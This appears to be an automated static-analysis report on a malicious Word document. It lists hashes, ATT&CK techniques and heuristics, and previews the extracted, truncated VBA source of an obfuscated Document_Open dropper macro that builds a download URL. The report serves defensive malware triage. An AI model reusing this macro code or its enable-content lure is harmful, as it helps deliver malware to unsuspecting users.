Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5c7d16bd89ef37fe…

MALICIOUS

Office (OLE)

1.18 MB Created: 2018-03-31 11:46:00 Authoring application: Microsoft Office Word First seen: 2019-01-25
MD5: c8b0458c384fd34971875b1c753c9c7c SHA-1: e9731cc102d3c07744a06b63631addf8fc2b3f46 SHA-256: 5c7d16bd89ef37fe02cac1851e7214a01636ee4061a80bfdbde3a2d199721a79
264 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic T1140 Deobfuscate/Decode Files or Information

The sample is a Microsoft Word document containing VBA macros, specifically a Document_Open macro designed to execute automatically. The document body explicitly instructs the user to 'Enable Editing' and 'Enable Content', a common lure for macro-based malware. The VBA code appears to deobfuscate and construct a URL from concatenated strings, likely to download and execute a second-stage payload. The ClamAV detection 'Doc.Dropper.Agent-6493321-0' further supports its role as a dropper.

Heuristics 9

  • ClamAV: Doc.Dropper.Agent-6493321-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6493321-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/02/22-rdf-syntax-ns# In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OLE body)
    • http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://ns.adobe.com/tiff/1.0/In document text (OLE body)
    • http://ns.adobe.com/exif/1.0/In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 101560 bytes
SHA-256: b030281208e5e27647deeb989601c8f994e257b7e69f7dbaffdb5c778da0c9b5
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 101 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "CommandButton1, 0, 0, MSForms, CommandButton"
Attribute VB_Control = "TextBox1, 1, 1, MSForms, TextBox"

Option Explicit
Sub Document_Open()
On Error Resume Next


Dim MIDR, CUjx, XYOg As String
MIDR = cpUH(NoXh)
CUjx = cpUH(YFch)
XYOg = cpUH(zWBW)


Dim FSmB As String
FSmB = alEO(XesY(216, 139))
FSmB = SIya(FSmB, alEO(XesY(194, 161)))
FSmB = SIya(FSmB, alEO(XesY(249, 139)))
FSmB = SIya(FSmB, alEO(XesY(9, 96)))
FSmB = SIya(FSmB, alEO(XesY(54, 70)))
FSmB = SIya(FSmB, alEO(XesY(27, 111)))
FSmB = SIya(FSmB, alEO(XesY(9, 96)))
FSmB = SIya(FSmB, alEO(XesY(24, 118)))
FSmB = SIya(FSmB, alEO(XesY(23, 112)))
FSmB = SIya(FSmB, alEO(XesY(62, 16)))
FSmB = SIya(FSmB, alEO(XesY(14, 72)))
FSmB = SIya(FSmB, alEO(XesY(9, 96)))
FSmB = SIya(FSmB, alEO(XesY(41, 69)))
FSmB = SIya(FSmB, alEO(XesY(174, 203)))
FSmB = SIya(FSmB, alEO(XesY(216, 139)))
FSmB = SIya(FSmB, alEO(XesY(52, 77)))
FSmB = SIya(FSmB, alEO(XesY(32, 83)))
FSmB = SIya(FSmB, alEO(XesY(27, 111)))
FSmB = SIya(FSmB, alEO(XesY(174, 203)))
FSmB = SIya(FSmB, alEO(XesY(198, 171)))
FSmB = SIya(FSmB, alEO(XesY(141, 194)))
FSmB = SIya(FSmB, alEO(XesY(31, 125)))
FSmB = SIya(FSmB, alEO(XesY(192, 170)))
FSmB = SIya(FSmB, alEO(XesY(174, 203)))
FSmB = SIya(FSmB, alEO(XesY(194, 161)))
FSmB = SIya(FSmB, alEO(XesY(27, 111)))

Dim xduU As String
xduU = MIDR
Dim Cmne As String
Cmne = ""
Cmne = SIya(Cmne, alEO(XesY(197, 134)))
Cmne = SIya(Cmne, alEO(XesY(144, 170)))
Cmne = SIya(Cmne, "\")
Cmne = SIya(Cmne, alEO(XesY(150, 198)))
Cmne = SIya(Cmne, alEO(XesY(249, 139)))
Cmne = SIya(Cmne, alEO(XesY(92, 51)))
Cmne = SIya(Cmne, alEO(XesY(23, 112)))
Cmne = SIya(Cmne, alEO(XesY(249, 139)))
Cmne = SIya(Cmne, alEO(XesY(80, 49)))
Cmne = SIya(Cmne, alEO(XesY(198, 171)))
Cmne = SIya(Cmne, alEO(XesY(107, 47)))
Cmne = SIya(Cmne, alEO(XesY(80, 49)))
Cmne = SIya(Cmne, alEO(XesY(27, 111)))
Cmne = SIya(Cmne, alEO(XesY(80, 49)))
Cmne = SIya(Cmne, "\")
Cmne = SIya(Cmne, alEO(XesY(21, 66)))
Cmne = SIya(Cmne, alEO(XesY(9, 96)))
Cmne = SIya(Cmne, alEO(XesY(24, 118)))
Cmne = SIya(Cmne, alEO(XesY(251, 159)))
Cmne = SIya(Cmne, alEO(XesY(92, 51)))
Cmne = SIya(Cmne, alEO(XesY(198, 177)))
Cmne = SIya(Cmne, alEO(XesY(32, 83)))
Cmne = SIya(Cmne, alEO(XesY(107, 47)))
Cmne = SIya(Cmne, alEO(XesY(174, 203)))
Cmne = SIya(Cmne, alEO(XesY(75, 45)))
Cmne = SIya(Cmne, alEO(XesY(174, 203)))
Cmne = SIya(Cmne, alEO(XesY(24, 118)))
Cmne = SIya(Cmne, alEO(XesY(251, 159)))
Cmne = SIya(Cmne, alEO(XesY(174, 203)))
Cmne = SIya(Cmne, alEO(XesY(249, 139)))
Cmne = SIya(Cmne, alEO(XesY(216, 139)))
Cmne = SIya(Cmne, alEO(XesY(174, 203)))
Cmne = SIya(Cmne, alEO(XesY(249, 139)))
Cmne = SIya(Cmne, alEO(XesY(57, 79)))
Cmne = SIya(Cmne, alEO(XesY(9, 96)))
Cmne = SIya(Cmne, alEO(XesY(194, 161)))
Cmne = SIya(Cmne, alEO(XesY(174, 203)))
Cmne = SIya(Cmne, alEO(XesY(62, 16)))
Cmne = SIya(Cmne, alEO(XesY(9, 96)))
Cmne = SIya(Cmne, alEO(XesY(24, 118)))
Cmne = SIya(Cmne, alEO(XesY(9, 96)))

OlyZ Cmne, xduU, FSmB

Dim klvr As String
klvr = ""
klvr = SIya(klvr, alEO(XesY(197, 134)))
klvr = SIya(klvr, alEO(XesY(144, 170)))
klvr = SIya(klvr, "\")
klvr = SIya(klvr, alEO(XesY(150, 198)))
klvr = SIya(klvr, alEO(XesY(249, 139)))
klvr = SIya(klvr, alEO(XesY(92, 51)))
klvr = SIya(klvr, alEO(XesY(23, 112)))
klvr = SIya(klvr, alEO(XesY(249, 139)))
klvr = SIya(klvr, alEO(XesY(80, 49)))
klvr = SIya(klvr, alEO(XesY(198, 171)))
klvr = SIya(klvr, alEO(XesY(107, 47)))
klvr = SIya(klvr, alEO(XesY(80, 49)))
klvr = SIya(klvr, alEO(XesY(27, 111)))
klvr = SIya(klvr, alEO(XesY(80, 49)))
klvr = SIya(klvr, "\")
klvr = SIya(klvr, alEO(XesY(118, 51)))
klvr = SIya(klvr, alEO(XesY(57, 79)))
klvr = SIya(klvr, alEO(XesY(174, 203)))
klvr = SIya(klvr, alEO(XesY(24, 118)))
klvr = SIya(k
... (truncated)

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